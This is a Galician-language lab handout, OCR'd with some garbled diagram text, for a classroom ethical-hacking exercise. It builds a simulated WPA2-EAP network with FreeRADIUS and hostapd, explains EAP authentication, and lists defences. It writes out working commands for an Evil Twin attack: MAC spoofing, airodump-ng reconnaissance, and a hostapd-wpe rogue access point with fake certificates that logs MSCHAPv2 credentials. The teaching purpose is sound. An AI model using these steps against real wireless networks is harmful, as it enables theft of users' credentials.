TALLER HE
PRACTICA Auditar contrasinal Wi-Fi WPA2 (EAP)
(cliente ea—eert + deautenticacion cliente + Evil Twin)

ESCENARIO: AP —+ SSID EMPRESA-XYZ —+ WPA2 (EAP) —+ Canal 6
AP Rogue —+ SSID EMPRESA-XYZ —+ WPA2 (EAP) —+ Canal 1

MV kaliA

RAM = 2048MB PR R -
cPU=2 namespace ~.\!u"|‘aquma \ﬁnual’x,;AT[Em
PAE/NX habilitado Apmma'ls}' K “\. @ * _
BIOS: Optica ,«" \ SSID EMPRESA-XYZ : “..!J MV kaliA
ISO: Live Kali amd64 : weaz : QQ
Rede: NAT(eth0) i Owiano :
Wordlist: rockyou : CHR - AR i
mac80211_hwsim wlan3 ‘-\\ ){

radios=4 — wlan0, wlanl, wlan2, wlan3 'y)\ v r,:

wlan0 - AP (freeradius,hostapd, ip netns) “.‘ % g;;‘;’;g 2 .;'

wlanl - Cliente (ip netns) ! wlanl ® WPA2

wlan2 - unknown (ip netns, AP Rogue[hostapd-wpe], tools suite: aircrack-ng, namespace ((( )) s

hashcat - auditar hash) . o

wlan3 — unknown (tools suite: aircrack-ng - deautenticacion) ., wlan2 +

Namespaces namespace .-’

phy0 — wlan0 — AP aillado e
phyl — wlanl -~ Cliente aillado

LIMITACION DE RESPONSABILIDADE O autor do presente documento declina calquera
responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa informacién
exposta no mesmo. Por tanto, non se fai responsable en ningln caso, nin pode ser considerado
legalmente responsable en ningun caso, das consecuencias que poidan derivarse da informacién
contida nel ou que esté enlazada dende ou hacia el, incluindo os posibles erros e informacion
incorrecta existentes, informacion difamatoria, asi como das consecuencias que se poidan derivar
sobre a sUa aplicacidon en sistemas de informacion reais e/ou virtuais. Este documento foi xerado
para uso didactico e debe ser empregado en contornas privadas e virtuais controladas co permiso
correspondente do administrador desas contornas.

Material necesario Practica: Evil Twin Wi-Fi WPA2 (EAP)

Host alumnado (1) Prerrequisito: Realizar [0]

Magquina virtual GNU/Linux Kali (2) Host alumnado. Mégquina virtual GNU/Linux Kali
[0] 2-Taller-HE-Practica-WiFi-1 amdé4:

[1] EreeRADIUS

m Crear seguindo especificaciéns do escenario.

m Arrancar

m Configurar a rede segun o escenario: NAT(eth0),
AP(wlan0), cliente(wlanl), unknown(wlan2, wlan3)
m Montar AP simulado e aillar

m Conectar co cliente simulado sen ca_cert

m Montar AP Rogue

m Investigar co cliente unknown(airodump-ng)

- intentar desconectar cliente simulado — capturar
hash MSCHAPv2 -, comprobar fortaleza contrasinal
- auditar hash con hashcat e ataque por diccionario
(rockyou).
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Protocolo o etn.dn de Seguridade | Ventaxes | Desvantaxes | Ataques tipicos
autenticacion

Cifrado AES,
WPA2-PSK Pre-Shared I:(e_v pero usa unha Fac_ll j:le _
(clave comin) chave configurar e usar
compartida
let:adﬁiiES, Maior
Extensible auteiqLicacién seguridade, pode
WPA2-EAP Authentication baseada en usar certificados
Protocol (EAP) S & outros métodos
servidor de autenticacion
(RADIUS) e
Cifrado AES, Maxima
Simultaneous resistencia seguridade,
‘WPA3-SAE Authentication of mellorada contra mellora a

Equals (SAE) | ataques de forza proteccidn contra

bruta ataques offline

Menos seguro en

redes grandes ou

abertas, risco se a
clave é débil

Rl*quere
configuracion de
servidor
(RADIUS), miis
complexo

Aseglirese de que
todos os
dispositivos son
compatibles

Ataques de
dicionario (forza
bruta usando claves
débiles),

Ataques de captura
de handshakes

Ataques Man-in-
the-Middle (se non
hai cifrado TLS
adecuado),
Ataques de
diccionario contra
credenciais

Ataques de
dicionario offline
(reducidos
significativamente,
pero ainda posibles
en certas
condicions),
Ataques de
downgrading

Como protexerse conira os ataques

1. Usa contrasinais longos e complexos (mdis de 16
caracteres, combinacion de maidsculas, mindsculas,
nimeros e caracteres especiais).

2. Habilita o control de acceso a rede (filtrado
MACQ).

3. Desactiva a reemiticion do handshake para
dificultar a captura do handshake.

4. Habilitar 802.11w (proteccion de tramas de
xestion):

ieeeB0211w=2 —. tramas desautenticacidn/desasociacidn
estin cifradas e non poden ser manipuladas por un
atacante. Require o uso de WPA2 o WPA3 con AES
(non se admite TKIP).

1. Usa TLS ou outros métodos EAP seguros para a
comunicacion entre o cliente e o servidor.

2. Implementa certificados para autenticacion EAP
para evitar ataques de MITM.

3. Utiliza contrasinais fortes e técnicas de
autenticacion multifactorial para protexer as
credenciais.

1. Activar proteccion contra downgrading en routers
(forzar WPA 3 en vez de WPA2).

2. Usa claves longas e tinicas para cada dispositive.

3. Reforza a seguridade da configuracion de WPA3
nas tias redes e dispositivos para evitar
vulnerabilidades de implementacidn.

Nivel
seguridade

T

T

(forzar a conexidn a
WPA2)
Conclusion:

* WPA2-PSK: Ten un nivel de seguridade basico, ideal para redes pequenas ou domésticas, pero pode mellorar se se seguen as boas practicas.
* WPA2-EAP: Ten unha maior seguridade grazas i autenticacion centralizada (RADIUS), pero require mais configuracicn.
* WPA3-5AE: O protocolo mdis seguro, protexendo contra moitos tipos de ataques, pero require compatibilidade de dispositivos.

Ricardo Feijoo Costa

WPA2-EAP (Wi-Fi Protected Access 2 con Extensible Authentication Protocol):

E un estandar de seguridade para redes inaldmbricas que combina o robusto cifrado de WPA2 con un método de
autenticacion extensible e avanzado. E amplamente empregado en contornas empresariais e institucionais
debido & sta capacidade para xestionar de forma segura multiples usuarios a través dun servidor de
autenticacion centralizado, normalmente baseado en RADIUS (Remote Authentication Dial-In User Service). Este
enfoque utiliza un proceso de autenticacion mutua entre o cliente e o servidor, garantindo que sé usuarios
autorizados poidan acceder a rede.

O proceso de autenticacion en WPA2-EAP baséase en certificados ou credenciais como nomes de usuario e
contrasinais. Existen varios tipos de métodos EAP (chamados tamén "métodos de encapsulacién"), entre os que
destacan EAP-TLS (que usa certificados para unha autenticacion mutua robusta) e PEAP (que encapsula
credenciais en tuneles cifrados para maior seguridade). Unha vez completada a autenticacion, establécese unha
clave de sesidn Unica que se usa para cifrar o trafico da rede mediante o protocolo AES-CCMP, proporcionando
confidencialidade e integridade dos datos.

WPA2-EAP é unha solucion altamente escalable e segura, axeitada para redes onde multiples usuarios precisan
conectarse simultaneamente. Ainda que é mais complexo de configurar que outras alternativas como WPA2-PSK,
ofrece unha seguridade significativamente mellorada grazas & sta autenticacion dinamica e & separacién de
credenciais dos usuarios. Isto fai que sexa a opcion preferida en redes empresariais, universidades e institucions
publicas que requiren un alto nivel de control e proteccién.

RADIUS é a opcidén por defecto debido & sila compatibilidade e integraciéon estandar con WPA2-EAP, pero outros
protocolos como Diameter, TACACS+, LDAP e solucions propietarias tamén poden usarse dependendo das
necesidades e a infraestrutura dunha organizacion. A eleccion do backend dependera dos requisitos especificos
en termos de escalabilidade, seguridade e interoperabilidade.
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1. O cliente detecta o SSID da rede e intanta conectarse, solicitando autenticacién indicando que quere usar
802.1X e o protocolo EAP.
2. O Punto de Acceso (AP) actiia como intermediario e reenvia a solicitude ao servidor RADIUS usando
802.1X e o protocolo EAP.
3. O servidor RADIUS verifica a autenticacion do cliente usando a base de datos configurada (certificados,
credenciais, etc.). Dependendo do método EAP configurado:
B Emprégase EAP-TLS, producese un intercambio de certificados entre o cliente e o servidor.
B Emprégase PEAP ou EAP-TTLS, establécese un tlnel cifrado no que o cliente envia as stas
credenciais ao servidor.
Durante este proceso, tanto o cliente como o servidor participan no calculo dunha clave maestra
compartida (Master Session Key: MSK)
B O cliente calcula a MSK localmente a partir do intercambio EAP co servidor. Non recibe a MSK
como un valor transmitido, senén que a calcula usando os datos negociados durante a
autenticacion (por exemplo, os datos de sesion e o material criptografico intercambiado).
4. Se a autenticacion é exitosa, o servidor aproba a conexién e comparte a MSK co AP de forma segura,
empregando a canle cifrada entre o servidor e o AP (protexida por unha clave compartida preconfigurada,
tamén chamada "shared secret").

5. Tanto o cliente como o AP usan a MSK como entrada para calcular as claves especificas da sesion,
chamadas (Pairwise Transient Key: PTK), que son empregadas para cifrar o trafico.

Este calculo tamén inclte:
m Nonces xerados polo cliente (SNonce) e o AP (Anonce).
B As direccions MAC do cliente e do AP.

Este proceso garante que tanto o cliente como o AP xeren exactamente as mesmas claves PTK sen que
estas se transmitan directamente.

6. Calculadas as claves o cliente e o AP usan o protocolo AES-CCMP para cifrar o trafico de datos e o cliente
pode acceder a rede.

:Este fluxo asegura que a rede s6 sexa accesible para usuarios autenticados, minimizando riscos e garantindo a
i confidencialidade e integridade dos datos transmitidos.

Resumo do fluxo con participantes:
i 1. Cliente -> Solicita autenticacién -> AP
2. AP -> Reenvia a solicitude -> Servidor RADIUS
3. Servidor RADIUS e Cliente -> Verifican autenticacién e calculan MSK
4. Servidor RADIUS -> Aproba e envia MSK -> AP
5. Cliente e AP -> Usan MSK para calcular PTK
6. Cliente e AP -> Establecen cifrado e acceden a rede
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Procedemento:
(1) Host alumnado. Maquina virtual GNU/Linux Kali:

(a) Crear e arrancar unha maquina virtual no equipo do alumnado coas seguintes caracteristicas (ver
escenario):

i. RAM =2048MB

ii. CPU22

iii. PAE/NX habilitado

iv. I1SO: Kali Live amdé4

v. Rede: 1 tarxeta en modo NAT (as wlanX serdn simuladas por mac80211_hwsim)
vi. Nome: Practica-Kali-Auditar-EAP

(b) Rol interfaces Wi-Fi:
Imos empregar:
i. wlan0 para AP lexitimo WPA2 (EAP) (shell bash consolal = namespace wifi_ap_wlan0)
ii. wlan1 para o cliente que se conecta a AP (shell bash consola2 — namespace wifi_cliente_wlan1)
iii. wlan2 e wlan3 como un cliente que non sabe o contrasinal para conectarse ao AP:
1. wilan2 Evil Twin (AP Rogue) (shell bash consola3 — Evil Twin = namespace evil_twin_wlan2)

2. wlan3 Monitor + Deseauth (shell bash consola4 — mode monitor + deautenticar cliente
conectado wlan1 = namespace principal = SEN namespace)
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Consolal - AP lexitimo (wlanO)

S setxkbmap es

S ip addr show

$ ip route

$ cat /etc/resolv.conf

S sudo modprobe mac80211 hwsim radios=4

$ ip addr show

$ sudo su -
# apt update && apt -y install freeradius hostapd iw iproute2
# ip netns add wifi_ap_wlan0 #Crear namespace AP
# iw phy phy0 set netns name wifi_ap_wlanO #Asigar wlan0 a namespace AP
# ip netns exec wifi_ap_wlanO bash

# ip link set lo up

# echo 'ana Cleartext-Password := "1234"' >> /etc/freeradius/3.0/users

# cd /etc/freeradius/3.0/certs

# make clean

# make

# cd

# chown -R freerad:freerad /etc/freeradius/3.0/certs

# NUM=$ (cat -n /etc/freeradius/3.0/mods-enabled/eap | grep default_eap_type | head -1 | awk '{print $1}"')

# sed -i "S${NUM}s/default_eap_type = md5/default_eap_type = peap/" /etc/freeradius/3.0/mods-enabled/eap

# sed -1 \
—e '"s|”\ ([[:space:]]*\)private_key_file *=.*|\lprivate_key_ file = /etc/freeradius/3.0/certs/server.key|' \
—e 's|”\([[:space:]]*\)certificate_file *=.*|\lcertificate_file = /etc/freeradius/3.0/certs/server.pem|' \
—e "s|"\([[:space:]]*\)ca_file *=.*|\1lca_file = /etc/freeradius/3.0/certs/ca.pem|"' \
/etc/freeradius/3.0/mods—enabled/eap

# freeradius -Cx #validar configuracién FreeRADIUS

# freeradius —-fxx & #Executar FreeRADIUS dentro deste netns

# echo —-e 'interface=wlanO\ndriver=nl80211\ncountry_code=ES\nssid=EMPRESA-XYZ\nchannel=6\nhw_mode=g\nwpa=2\nwpa_key_mgmt=WPA-EAP\n

wpa_pairwise=CCMP\nrsn_pairwise=CCMP\nbeacon_int=100\nieee8021x=1\nauth_server_addr=127.0.0.1\nauth_server_port=1812\n

auth_server_shared_secret=testingl23' > wpa-eap.conf
# hostapd wpa-eap.conf #Executar AP lexitimo: Comprobar en consolal a conexién co FreeRADIUS - wlanO: RADIUS Authentication server 127.0.0.1:1812
e o estado habilitado do AP - wlan0O: AP-ENABLED

Saida esperada:

wlanO: interface state UNINITIALIZED->COUNTRY_UPDATE
wlanO: RADIUS Authentication server 127.0.0.1:1812
wlanO: interface state COUNTRY_UPDATE->ENABLED
wlanO: AP-ENABLED

e S o e
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- Cliente Vulnerable (wlanl)
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Consola3: Evil Twin - Crear un punto de acceso falso co mesmo SSID que suplante ao lexitimo, pero configurado con WPA2-PSK en lugar de
EAP, para capturar credenciais.
$ sudo su -
apt update && apt -y install hostapd-wpe
ip link set wlan2 down
macchanger —m f0:4d:a2:84:3e:2d wlan2
ip link set wlan2 up
QJ.-J_IILUJ.L J.ij k_,hck_,}\ }\J._ll
airmon-ng start wlan2
airodump-ng wlan2mon #Identificar o AP lexitimo, Ctrl”C, Anotar: BSSID=AA:BB:CC:DD:EE:FF, Canal=6, SSID=EMPRESA-XYZ
airmon-ng stop wlan2mon
ip netns add evil_twin_wlan2 #Crear namespace illado
iw phy phy2 set netns name evil_twin_wlan2
ip netns exec evil_twin_wlan2 bash
ip link set lo up
cd /etc/hostapd-wpe/certs
./bootstrap # Xerar certificados falsos para hostapd-wpe (se non existen)
cd
cat > /etc/hostapd-wpe/hostapd-wpe.eap_user <<'EOF'
* PEAP, TTLS, TLS, FAST
"t" TTLS-PAP,TTLS-CHAP, TTLS-MSCHAP,MSCHAPV2,MD5,GTC, TTLS, TTLS-MSCHAPV2 "t" [2]
EOF #Configurar usuarios EAP (acepta calquera)
# cat > evil-twin-wpe.conf <<'EOF'
interface=wlan2
driver=nl180211
ssid=EMPRESA-XYZ
channel=1 #Diferente ao lexitimo (canal 6)
hw_mode=g
wpa=2
wpa_key_ mgmt=WPA-EAP
wpa_pairwise=CCMP
rsn_pairwise=CCMP
ieee8021x=1
# Servidor EAP integrado
eap_server=1l
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
# Certificados FALSOS (non validados polo cliente vulnerable)
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
dh_file=/etc/hostapd-wpe/certs/dh
#Configuracién de logging
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
EOF #Configurar Evil Twin
# hostapd-wpe evil-twin-wpe.conf 2>&1 | tee evil-twin-credentials.log #Executar con logging de credenciais
# Saida esperada:
# wlan2: interface state UNINITIALIZED->ENABLED
# wlan2: AP-ENABLED
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Monitor e Desautenticacién (wlan3) (namespace PRINCIPAL) (sen illar)

Ricardo Feijoo Costa Paxina 8 de 9

This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License


http://creativecommons.org/licenses/by-sa/4.0/

Evil Twin - Extraer hash
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